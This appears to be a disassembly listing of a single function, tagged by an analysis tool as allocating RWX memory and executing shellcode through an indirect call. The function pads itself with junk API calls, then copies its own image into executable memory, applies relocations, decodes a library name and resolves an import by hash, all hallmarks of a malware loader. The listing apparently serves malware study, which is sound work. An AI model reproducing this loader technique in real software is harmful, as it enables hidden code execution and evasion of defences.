Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
push ebx
mov eax, 0xb
push esi
push edi
mov word [ebp - 0x1c], ax
mov word [ebp - 0x2c], ax
and edi, eax
mov esi, dword [ebp - 0x439]
mov edi, dword [sym.imp.KERNEL32.dll_GetThreadLocale]
call edi
add dword [ebp - 0x271], eax
sub ebx, dword [ebp - 0x288]
add eax, dword [ebp - 0x27c]
xor dword [ebp - 0x58], eax
and ebx, ebp
call edi
or ecx, esi
call edi
call edi
mov ecx, esi
add esi, dword [ebp - 0x1ee]
mov dword [ebp - 0x203], eax
add dword [ebp - 0x79], eax
or esi, eax
mov ebx, dword [ebp - 0x79]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
mov edi, ecx
xor esi, dword [ebp - 0x80]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
or ecx, ebp
xor ebx, esi
xor edi, eax
sub dword [ebp - 0x187], eax
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
add ecx, esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetThreadLocale]
call ebx
call ebx
call esi
add dword [ebp - 0x12b], eax
add edi, dword [ebp - 0x11c]
mov edi, dword [ebp - 0x127]
xor dword [ebp - 0x31d], eax
sub ecx, edi
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
and edi, dword [ebp - 0x3fa]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
call ebx
or ecx, ebx
call ebx
call esi
mov ecx, ebx
call ebx
sub dword [ebp - 0xd3], eax
sub edi, esp
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or ebx, dword [ebp - 0x429]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x1c]
push edx
call sub.OLEAUT32.dll_VarDateFromUdateEx
test eax, eax
je 0x40110e
call eax
cmp dword [0x404378], 0
je 0x401123
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [0x404378], 1
mov eax, section..text
push eax
call fcn.00401690
pop eax
mov dword [0x40437c], eax
mov word [0x40437c], 0
mov eax, dword [0x40437c]
mov ecx, dword [eax + 0x3c]
mov ebx, dword [ecx + eax + 0x50]
push 0x40
add ecx, eax
push 0x1000
push ebx
push 0
mov dword [ebp - 0x80], ecx
mov esi, 0x402038
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test ebx, ebx
mov edi, eax
mov dword [0x404380], edi
jbe 0x401190
mov edx, dword [0x40437c]
mov ecx, edi
sub edx, edi
mov al, byte [edx + ecx]
mov byte [ecx], al
add ecx, 1
sub ebx, 1
jne 0x401183
mov ebx, edi
sub ebx, dword [0x40437c]
cmp dword [0x402038], 0
je 0x4011ed
mov ecx, dword [esi + 4]
sub ecx, 8
shr ecx, 1
lea edx, [esi + 8]
je 0x4011e5
mov dword [ebp - 0x84], ecx
movzx ecx, word [edx]
mov eax, ecx
and eax, 0xf000
cmp eax, 0x3000
jne 0x4011d9
and ecx, 0xfff
add ecx, dword [esi]
add dword [ecx + edi], ebx
lea eax, [ecx + edi]
mov edi, dword [0x404380]
add edx, 2
sub dword [ebp - 0x84], 1
jne 0x4011b4
add esi, dword [esi + 4]
cmp dword [esi], 0
jne 0x4011a1
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
lea ecx, [ebp - 0xc]
push ecx
mov ecx, 0xf
mov eax, str.dswhlat_oww
mov byte [ebp - 1], 0
call fcn.004018f0
add esp, 4
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x21c0c0d
mov ebx, eax
call fcn.00401cd0
add esp, 4
test eax, eax
jne 0x40123c
mov eax, dword [ebp - 0x80]
mov ecx, dword [eax + 0x28]
add ecx, dword [0x404380]
mov dword [0x404384], ecx
xor dword [ebp - 0x39e], eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret